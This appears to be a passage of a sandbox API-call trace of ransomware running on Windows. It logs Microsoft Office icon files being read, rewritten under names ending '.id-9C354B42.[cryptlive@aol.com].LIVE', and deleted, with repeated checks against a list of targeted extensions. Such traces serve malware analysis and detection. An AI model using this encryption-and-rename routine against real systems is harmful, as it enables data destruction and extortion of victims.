[0156.205] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\appts.ico")) returned 0x20 [0156.205] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTS.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\appts.ico.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0156.205] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\appts.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0156.205] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.205] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.205] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTS.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\appts.ico.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0156.206] GetLastError () returned 0x0 [0156.206] ReadFile (in: hFile=0x1fc, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0xbb6, lpOverlapped=0x0) returned 1 [0156.208] WriteFile (in: hFile=0x3b4, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xbc0, lpOverlapped=0x0) returned 1 [0156.209] ReadFile (in: hFile=0x1fc, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0156.209] WriteFile (in: hFile=0x3b4, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0156.209] SetEndOfFile (hFile=0x3b4) returned 1 [0156.209] CloseHandle (hObject=0x3b4) returned 1 [0156.209] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.209] SetEndOfFile (hFile=0x1fc) returned 1 [0156.212] CloseHandle (hObject=0x1fc) returned 1 [0156.212] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTS.ICO.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0156.212] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\appts.ico")) returned 1 [0156.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTS.ICO") returned 63 [0156.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTS.ICO") returned 63 [0156.213] lstrlenW (lpString=".doc") returned 4 [0156.213] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0156.213] lstrlenW (lpString=".docx") returned 5 [0156.213] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0156.213] lstrlenW (lpString=".pdf") returned 4 [0156.518] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0156.518] lstrlenW (lpString=".xls") returned 4 [0156.518] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0156.518] lstrlenW (lpString=".xlsx") returned 5 [0156.518] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0156.518] lstrlenW (lpString=".ppt") returned 4 [0156.518] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0156.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTS.ICO") returned 63 [0156.518] lstrlenW (lpString=".zip") returned 4 [0156.518] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0156.518] lstrlenW (lpString=".rar") returned 4 [0156.518] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0156.519] lstrlenW (lpString=".bz2") returned 4 [0156.519] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0156.519] lstrlenW (lpString=".7z") returned 3 [0156.519] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0156.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTS.ICO") returned 63 [0156.519] lstrlenW (lpString=".dbf") returned 4 [0156.519] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0156.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTS.ICO") returned 63 [0156.519] lstrlenW (lpString=".1cd") returned 4 [0156.519] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0156.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTS.ICO") returned 63 [0156.519] lstrlenW (lpString=".jpg") returned 4 [0156.519] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0156.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTS.ICO") returned 63 [0156.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTS.ICO") returned 63 [0156.519] lstrlenW (lpString=".doc") returned 4 [0156.519] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0156.519] lstrlenW (lpString=".docx") returned 5 [0156.519] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0156.519] lstrlenW (lpString=".pdf") returned 4 [0156.519] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0156.519] lstrlenW (lpString=".xls") returned 4 [0156.519] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0156.519] lstrlenW (lpString=".xlsx") returned 5 [0156.519] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0156.519] lstrlenW (lpString=".ppt") returned 4 [0156.519] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0156.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTS.ICO") returned 63 [0156.519] lstrlenW (lpString=".zip") returned 4 [0156.519] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0156.519] lstrlenW (lpString=".rar") returned 4 [0156.519] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0156.519] lstrlenW (lpString=".bz2") returned 4 [0156.519] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0156.520] lstrlenW (lpString=".7z") returned 3 [0156.520] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0156.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTS.ICO") returned 63 [0156.520] lstrlenW (lpString=".dbf") returned 4 [0156.520] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0156.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTS.ICO") returned 63 [0156.520] lstrlenW (lpString=".1cd") returned 4 [0156.520] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0156.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTS.ICO") returned 63 [0156.520] lstrlenW (lpString=".jpg") returned 4 [0156.520] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0156.520] lstrcmpiW (lpString1=".ICO", lpString2=".LIVE") returned -1 [0156.520] lstrlenW (lpString="CONFLICT.ICO") returned 12 [0156.520] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONFLICT.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\conflict.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0156.551] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=2998) returned 1 [0156.551] CloseHandle (hObject=0x380) returned 1 [0156.551] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONFLICT.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\conflict.ico")) returned 0x20 [0156.551] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONFLICT.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\conflict.ico.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0156.551] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONFLICT.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\conflict.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0156.552] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.552] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.552] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONFLICT.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\conflict.ico.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0156.553] GetLastError () returned 0x0 [0156.553] ReadFile (in: hFile=0x380, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0xbb6, lpOverlapped=0x0) returned 1 [0156.617] WriteFile (in: hFile=0x314, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xbc0, lpOverlapped=0x0) returned 1 [0156.618] ReadFile (in: hFile=0x380, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0156.618] WriteFile (in: hFile=0x314, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0156.618] SetEndOfFile (hFile=0x314) returned 1 [0156.618] CloseHandle (hObject=0x314) returned 1 [0156.618] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.618] SetEndOfFile (hFile=0x380) returned 1 [0156.620] CloseHandle (hObject=0x380) returned 1 [0156.620] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONFLICT.ICO.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0156.621] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONFLICT.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\conflict.ico")) returned 1 [0156.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONFLICT.ICO") returned 66 [0156.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONFLICT.ICO") returned 66 [0156.621] lstrlenW (lpString=".doc") returned 4 [0156.621] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0156.621] lstrlenW (lpString=".docx") returned 5 [0156.621] lstrcmpiW (lpString1=".docx", lpString2="T.ICO") returned -1 [0156.621] lstrlenW (lpString=".pdf") returned 4 [0156.621] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0156.621] lstrlenW (lpString=".xls") returned 4 [0156.621] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0156.621] lstrlenW (lpString=".xlsx") returned 5 [0156.621] lstrcmpiW (lpString1=".xlsx", lpString2="T.ICO") returned -1 [0156.621] lstrlenW (lpString=".ppt") returned 4 [0156.622] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0156.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONFLICT.ICO") returned 66 [0156.622] lstrlenW (lpString=".zip") returned 4 [0156.622] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0156.622] lstrlenW (lpString=".rar") returned 4 [0156.622] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0156.622] lstrlenW (lpString=".bz2") returned 4 [0156.622] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0156.622] lstrlenW (lpString=".7z") returned 3 [0156.622] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0156.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONFLICT.ICO") returned 66 [0156.622] lstrlenW (lpString=".dbf") returned 4 [0156.622] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0156.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONFLICT.ICO") returned 66 [0156.622] lstrlenW (lpString=".1cd") returned 4 [0156.622] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0156.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONFLICT.ICO") returned 66 [0156.622] lstrlenW (lpString=".jpg") returned 4 [0156.622] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0156.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONFLICT.ICO") returned 66 [0156.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONFLICT.ICO") returned 66 [0156.622] lstrlenW (lpString=".doc") returned 4 [0156.622] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0156.622] lstrlenW (lpString=".docx") returned 5 [0156.622] lstrcmpiW (lpString1=".docx", lpString2="T.ICO") returned -1 [0156.622] lstrlenW (lpString=".pdf") returned 4 [0156.622] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0156.622] lstrlenW (lpString=".xls") returned 4 [0156.622] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0156.622] lstrlenW (lpString=".xlsx") returned 5 [0156.622] lstrcmpiW (lpString1=".xlsx", lpString2="T.ICO") returned -1 [0156.622] lstrlenW (lpString=".ppt") returned 4 [0156.622] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0156.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONFLICT.ICO") returned 66 [0156.623] lstrlenW (lpString=".zip") returned 4 [0156.623] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0156.623] lstrlenW (lpString=".rar") returned 4 [0156.623] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0156.623] lstrlenW (lpString=".bz2") returned 4 [0156.623] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0156.623] lstrlenW (lpString=".7z") returned 3 [0156.623] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0156.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONFLICT.ICO") returned 66 [0156.623] lstrlenW (lpString=".dbf") returned 4 [0156.623] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0156.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONFLICT.ICO") returned 66 [0156.623] lstrlenW (lpString=".1cd") returned 4 [0156.623] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0156.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONFLICT.ICO") returned 66 [0156.623] lstrlenW (lpString=".jpg") returned 4 [0156.623] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0156.623] lstrcmpiW (lpString1=".ICO", lpString2=".LIVE") returned -1 [0156.623] lstrlenW (lpString="CONTACTS.ICO") returned 12 [0156.623] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\contacts.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0156.624] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=2998) returned 1 [0156.624] CloseHandle (hObject=0x380) returned 1 [0156.624] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\contacts.ico")) returned 0x20 [0156.624] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTS.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\contacts.ico.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0156.624] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\contacts.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0156.624] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.624] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.624] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTS.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\contacts.ico.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0156.625] GetLastError () returned 0x0 [0156.625] ReadFile (in: hFile=0x380, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0xbb6, lpOverlapped=0x0) returned 1 [0156.662] WriteFile (in: hFile=0x314, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xbc0, lpOverlapped=0x0) returned 1 [0156.663] ReadFile (in: hFile=0x380, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0156.663] WriteFile (in: hFile=0x314, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0156.663] SetEndOfFile (hFile=0x314) returned 1 [0156.663] CloseHandle (hObject=0x314) returned 1 [0156.663] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.663] SetEndOfFile (hFile=0x380) returned 1 [0156.667] CloseHandle (hObject=0x380) returned 1 [0156.667] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTS.ICO.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0156.680] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\contacts.ico")) returned 1 [0156.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTS.ICO") returned 66 [0156.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTS.ICO") returned 66 [0156.719] lstrlenW (lpString=".doc") returned 4 [0156.719] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0156.719] lstrlenW (lpString=".docx") returned 5 [0156.719] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0156.719] lstrlenW (lpString=".pdf") returned 4 [0156.719] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0156.719] lstrlenW (lpString=".xls") returned 4 [0156.719] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0156.719] lstrlenW (lpString=".xlsx") returned 5 [0156.719] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0156.719] lstrlenW (lpString=".ppt") returned 4 [0156.719] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0156.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTS.ICO") returned 66 [0156.719] lstrlenW (lpString=".zip") returned 4 [0156.719] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0156.719] lstrlenW (lpString=".rar") returned 4 [0156.719] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0156.719] lstrlenW (lpString=".bz2") returned 4 [0156.719] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0156.719] lstrlenW (lpString=".7z") returned 3 [0156.719] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0156.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTS.ICO") returned 66 [0156.719] lstrlenW (lpString=".dbf") returned 4 [0156.719] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0156.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTS.ICO") returned 66 [0156.719] lstrlenW (lpString=".1cd") returned 4 [0156.719] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0156.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTS.ICO") returned 66 [0156.719] lstrlenW (lpString=".jpg") returned 4 [0156.719] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0156.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTS.ICO") returned 66 [0156.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTS.ICO") returned 66 [0156.720] lstrlenW (lpString=".doc") returned 4 [0156.720] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0156.720] lstrlenW (lpString=".docx") returned 5 [0156.720] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0156.720] lstrlenW (lpString=".pdf") returned 4 [0156.720] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0156.720] lstrlenW (lpString=".xls") returned 4 [0156.720] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0156.720] lstrlenW (lpString=".xlsx") returned 5 [0156.720] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0156.720] lstrlenW (lpString=".ppt") returned 4 [0156.720] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0156.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTS.ICO") returned 66 [0156.720] lstrlenW (lpString=".zip") returned 4 [0156.720] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0156.720] lstrlenW (lpString=".rar") returned 4 [0156.720] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0156.720] lstrlenW (lpString=".bz2") returned 4 [0156.720] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0156.720] lstrlenW (lpString=".7z") returned 3 [0156.720] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0156.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTS.ICO") returned 66 [0156.720] lstrlenW (lpString=".dbf") returned 4 [0156.720] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0156.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTS.ICO") returned 66 [0156.720] lstrlenW (lpString=".1cd") returned 4 [0156.720] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0156.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTS.ICO") returned 66 [0156.720] lstrlenW (lpString=".jpg") returned 4 [0156.720] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0156.721] lstrcmpiW (lpString1=".ICO", lpString2=".LIVE") returned -1 [0156.721] lstrlenW (lpString="DOCL.ICO") returned 8 [0156.721] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\docl.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0156.721] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=1078) returned 1 [0156.721] CloseHandle (hObject=0x3a0) returned 1 [0156.721] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\docl.ico")) returned 0x20 [0156.721] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCL.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\docl.ico.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0156.721] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\docl.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0156.722] 